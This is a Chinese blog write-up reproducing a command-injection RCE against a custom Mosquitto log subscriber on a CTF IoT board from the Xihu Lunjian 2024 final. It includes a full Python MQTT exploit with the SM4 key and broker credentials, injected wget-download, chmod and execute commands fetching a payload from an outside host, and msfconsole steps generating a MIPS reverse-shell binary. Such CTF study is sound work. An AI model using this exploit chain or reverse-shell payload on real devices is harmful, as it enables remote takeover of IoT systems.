西湖论剑决赛IoT开发板 rce复现

西湖论剑决赛IoT开发板 rce复现

终于有大师傅把rce做出来了,先膜一下orz

赛前没有积累过mqtt服务的相关知识,导致当时根本不清楚rce漏洞在哪里,真的跪了555

wp在这里:

西湖论剑2024 IOT赛后复盘及mqtt rce详解

搜集信息

西湖的IoT开发板上是一个小型的openwrt的服务器,当时试着绕密码绕了老半天,还是太菜了555

赛后主办方给了板子的root密码,finalshell ssh连接上看看运行了什么

顺便在固件中找找8888端口是一个什么服务:

可以明显发现是转发了1883端口的服务在8888端口监听

并且可以看到1883端口运行的是mosquitto,经过搜索了解到时mqtt服务(我说当时为啥什么回显都无)

MQTT

他的英文全称Message Queuing Telemetry Transport,翻译过来就是"消息队列遥测传输",是ISO 标准(ISO/IEC PRF 20922)下基于发布/订阅范式的消息协议。它工作在 TCP/IP协议族上,是为硬件性能低下的远程设备以及网络状况糟糕的情况下而设计的发布/订阅型消息协议。

目前支持MQTT的服务器中间件有EMQTT、Mosquitto、Apollo

Mosquitto

一款实现了消息推送协议 MQTTv5.0, v3.1.1, v3.1 的开源消息代理软件,提供轻量级的,支持可发布/可订阅的的消息推送模式,使设备对设备之间的短消息通信变得简单,比如现在应用广泛的低功耗传感器,手机、嵌入式计算机、微型控制器等移动设备。

同时也可以发现主要是有两个进程,即mosquitto和mosquitto_sub

其中是mosquitto_sub中存在一个命令注入的rce漏洞,进行逆向分析

根据wp中的异常源码定位到漏洞点:

通过和github上的源码进行比对,发现mosquitto的逆向代码和源码差不大多,但mosquitto_sub不太一样,而且它指定了"block"和"logs"这两个topic,感觉就是出题人自己实现的一个进程

逆向分析出发送消息的JSON格式为:

{"log":1,"timestamp":"xxxx","info":"xxxx"}

而且如果往"logs"这个topic进行publish操作,就会调用system在"/var/log"目录生成和给定的时间戳相关的文件

再看看下面的处理函数:

info被进行了两轮操作变成info2,然后对info2有一个校验,通过后info2就被当作参数传入snprintf并最终被命令执行。如果最终的info2是'"\n/bin/sh\n'等类型的危险字符串就能实现命令注入

经过逆向和符号表恢复得出了函数的功能(sig恢复)

程序的漏洞在于注入字符串进行sm4加密,然后头部加上0xbf再做base64编码后的内容,在程序的过滤检测中没有过滤\n,导致了可以进行命令注入

执行:通过wget获取msf生成的反弹到宿主6666端口的可执行文件,然后chmod +x后执行RCE,并且注入总字符串长度不超过0x60(之前试栈溢出的时候试出来的)

rce

命令如下:

wget http://192.168.1.219:9/m
chmod +x /m
/m

msf生成:(在kali下生成的)

复制代码
msfconsole
msf6> use payload/linux/mipsle/shell_reverse_tcp
msf6> set LHOST ip(自己的ip)
msf6> set LPORT 6666
msf6> generate -f elf -o m

用虚拟机监听的话要配置虚拟网络的桥接模式把虚拟机桥接到板子的网卡上

exp:

复制代码
import time
import struct
import base64
import paho.mqtt.client as mqtt
from gmssl.sm4 import CryptSM4, SM4_ENCRYPT, SM4_DECRYPT

def on_connect(client, userdata, flags, rc):
    if rc == 0:
        print("Connected to MQTT Broker!")
    else:
        print("Failed to connect, return code %d\n", rc)

def pack_key(v24):
    key_bytes = b''
    for i in range(4):
        key_bytes += struct.pack('<I', v24[i])  # 使用小端序打包每个整数
    return key_bytes

def encode_sm4(value,key):
    """
    SM4 加密
    :value: python各数据格式
    """
    crypt_sm4 = CryptSM4()
    crypt_sm4.set_key(key, SM4_ENCRYPT)

    # 使用crypt_ecb进行加密value
    encrypt_value = crypt_sm4.crypt_ecb(value)
    return encrypt_value


def decode_sm4(value,key):
    crypt_sm4 = CryptSM4()
    crypt_sm4.set_key(key, SM4_DECRYPT)
    decrypt_value = crypt_sm4.crypt_ecb(value)
    return decrypt_value

def get_input(command):
    v24 = [0x9845DC01, 0x10CD5489, 0x67BA23FE, 0xEF32AB76]
    key_bytes = pack_key(v24)

    ## --generate input-- 
    test_key = key_bytes
    cmd = b'"\n'
    cmd += command
    cmd += b'\n'
    cmd = cmd.ljust(0x20,b"a")
    #print(test_key)
    #print(b"cmd:"+cmd)
    #print("len_cmd:"+str(len(cmd)))
    sm4_encode = encode_sm4(cmd,test_key)
    #print(b"sm4_encode:"+sm4_encode)
    #print("len_sm4_encode:"+str(len(sm4_encode)))

    if len(sm4_encode) > 0x30 :
        print("len_sm4_encode:"+str(len(sm4_encode)))
        print("[+]erro:encode_sm4_string is too long!")
        exit(0)

    #print(sm4_encode[:32])
    #print(decode_sm4(sm4_encode,test_key))
    after_base64_decode = b"\xbf"+sm4_encode
    mos_input = base64.b64encode(after_base64_decode)
    #print(b"input:"+mos_input)
    #print("len_input:"+str(len(mos_input)))
    if (len(mos_input) & 3) :
        print("len_input:"+str(len(mos_input)))
        print("[+]erro:input len & 3 != 0")
        exit(0)
    return mos_input

if __name__ == "__main__":
    cmd1 = b'wget http://192.168.1.219:9/m'
    cmd2 = b'chmod +x /m'
    cmd3 = b'/m'
    #cmd1 = b'mkdir /tmp/nameless'
    input1 = get_input(cmd1).decode()
    input2 = get_input(cmd2).decode()
    input3 = get_input(cmd3).decode()
    print("[+]input1:"+input1)
    print("[+]input2:"+input2)
    print("[+]input3:"+input3)
    p1 = '{"log":1,"timestamp":"11-11-11:11:11","info":'+'"'+input1+'"}'
    p2 = '{"log":1,"timestamp":"11-11-11:11:11","info":'+'"'+input2+'"}'
    p3 = '{"log":1,"timestamp":"11-11-11:11:11","info":'+'"'+input3+'"}'
    print(p1)
    print(p2)
    print(p3)
    ## --try rce by mqtt--

    client = mqtt.Client(mqtt.CallbackAPIVersion.VERSION1)
    client.username_pw_set(username="xhlj2024", password="2758934")
    client.on_connect = on_connect
    client.connect("192.168.1.1", 8888)
    topic = "logs"

    client.publish(topic, p1)
    time.sleep(2)
    client.publish(topic,p2)
    time.sleep(2)
    client.publish(topic,p3)
    time.sleep(2)
    client.disconnect()

效果:

总结

总算是了却了一个心结了,困扰了我很久的rce总算是成功了,确实收获很多(比赛也是真的坐牢555),不管是硬件还是固件都有了更多的了解了

相关推荐
沐欣工作室_lvyiyi8 小时前
基于fpga的数字频率计(论文+源码)
stm32·单片机·深度学习·物联网·fpga开发·毕业设计
wlsjdszls9 小时前
数字孪生遭遇 “DeepSeek 之问”:谁在批量制造昂贵玩具?
大数据·人工智能·物联网·信息可视化·数据挖掘·数据分析·制造
然然阿然然10 小时前
2025.2.8——一、[护网杯 2018]easy_tornado tornado模板注入
python·安全·web安全·网络安全·tornado
明月与玄武10 小时前
AIoT时代来临,物联网技术如何颠覆未来生活?
物联网·aiot时代来临·物联网技术如何颠覆未来生活?
小飞鱼通达二开11 小时前
【小鱼闪闪】自制物联网测温小程序远程监测温度(图文)
物联网
华清远见成都中心13 小时前
物联网有哪些就业方向?
物联网
ZHHHHHJ661 天前
PDFMathTranslate-翻译 ble core 5.4全文
开发语言·物联网
码视野1 天前
物联网软件开发与应用方向应该怎样学习,学习哪些内容,就业方向是怎样?(文末领取整套学习视频,课件)物联网硬件开发与嵌入式系统
物联网·学习